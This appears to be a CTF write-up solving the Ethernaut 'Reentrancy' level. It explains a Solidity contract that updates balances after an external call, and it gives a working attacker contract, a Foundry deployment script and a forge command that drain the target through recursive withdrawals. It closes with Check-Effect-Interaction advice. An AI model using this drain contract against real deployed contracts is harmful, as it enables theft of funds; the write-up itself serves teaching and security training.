# The Ethernaut CTF Solutions | 10 - Reentrancy

## Goals

The title is a pretty big hint in this challenge.

[![](https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/10-reentrancy-requirements.webp align="left")](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/10-reentrancy-requirements.webp)

## The Contract

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

// import 'openzeppelin-contracts-06/math/SafeMath.sol';
import {SafeMath} from "../helpers/SafeMath-06.sol";

contract Reentrance {
    using SafeMath for uint256;
    mapping(address => uint) public balances;

    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint balance) {
        return balances[_who];
    }

    function withdraw(uint _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result, ) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}
```

## The hack

In this level, we have to drain all the funds from the contract. We have to be familiar with reentrancy attacks, and that is what this very simple example is for.

A reentrancy attack can happen after an external call to another contract. For instance, upon receiving ether, the contract can respond to the transfer. That is when we can "reenter" the contract. And that is why the "Check-Effect-Interaction" pattern or CEI matters.

In this case, the `msg.sender`'s balance is updated AFTER the external call, which leaves the door open for a reentrancy attack.

```solidity
function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }
```

How does the attack work?

Since the balance is updated after the external call, we can call the `withdraw` function, and reenter the contract via a `fallback()` function upon receiving ether. At this point, despite having already withdrawn our balance, we can withdraw again since the state hasn't been updated yet!

```solidity
// This will always be true
balances[msg.sender] >= _amount;
```

We can repeat this process until the contract is drained. The withdraw function will finally finish its execution and update our balance... a little too late.

Hence the CEI:

* **Check: Make sure all your inputs and conditions are correct.**
    
* **Effect: Update all states.**
    
* **Interaction: Interact with other contracts.**
    

## Solution

Let's take advantage of the `withdraw` function to reenter the contract and drain it since it lacks a proper CEI pattern.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

interface IReentrance {
    function donate(address _to) external payable;
    function withdraw(uint256 _amount) external;
}

contract Reentered {
    address private immutable target;
    uint256 donation = 0.001 ether;

    constructor(address _target) public {
        target = _target;
    }

    receive() external payable {
        if (target.balance >= donation) {
            IReentrance(target).withdraw(donation);
        }
    }

    function attack() public payable {
        // 1. Donate so you have some funds to withdraw
        IReentrance(target).donate{value: donation}(address(this));
        // 2. Call the withdraw function to start the reentrancy
        IReentrance(target).withdraw(donation);
        // 3. The contract has been drained successfully
        require(address(target).balance == 0, "Reentrancy failed!");
        // 4. Withdraw the funds from the attacker's contract
        withdraw();
    }

    function withdraw() public {
        uint256 bal = address(this).balance;
        (bool success, ) = msg.sender.call{value: bal}("");
        require(success, "Transfer Failed");
    }
}
```

So what will happen exactly? Upon calling:

```solidity
IReentrance(target).withdraw(donation);
```

The vulnerable contract will send our ether back to the Reentered contract, which will trigger the `receive()` function:

```solidity
receive() external payable {
        if (target.balance >= donation) {
            IReentrance(target).withdraw(donation);
        }
    }
```

The `receive()` function will call the `withdraw()` function again, which will trigger the \`receive() function again, ... until the contract is completely drained.

Let's write the deployment script for convenience:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script} from "forge-std/Script.sol";
import {Reentered} from "../src/10_Reentrancy.sol";

contract PoC is Script {
    // Replace with your Reentrancy instance
    address payable immutable reentrancy =
        payable(0x1b625D92F3E42303AbbE7F697E29e035BB6B829F); 

    function run() external payable {
        uint256 deployer = vm.envUint("PRIVATE_KEY");

        vm.startBroadcast(deployer);

        Reentered reentered = new Reentered(reentrancy);
        reentered.attack();

        vm.stopBroadcast();
    }
}
```

Then, you can use forge scripts to deploy this contract and call the `attack` function:

```bash
forge script script/10_Reentrancy.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
```

> Note: Since the contract starts with `0.001 ether`, leaving its balance at 0 is fairly simple. For a more "realistic" approach, you would have to improve the calculation method to drain the contract's balance entirely.

**🎉 Level completed 🎉**

## Takeaway

* **CHECK-EFFECT-INTERACTION pattern** must be systematically followed.
    
* Use a reentrancy guard if in doubt. Better safe than sorry.
    

## Reference

* The DAO hack: [https://blog.openzeppelin.com/15-lines-of-code-that-could-have-prevented-thedao-hack-782499e00942](https://blog.openzeppelin.com/15-lines-of-code-that-could-have-prevented-thedao-hack-782499e00942)
    
* Advanced reentrancy on Curve pools: [https://hackmd.io/@vyperlang/HJUgNMhs2](https://hackmd.io/@vyperlang/HJUgNMhs2)
    

---

You can find all the codes, challenges, and their solutions on my GitHub: [https://github.com/Pedrojok01/Ethernaut-Solutions/](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md)
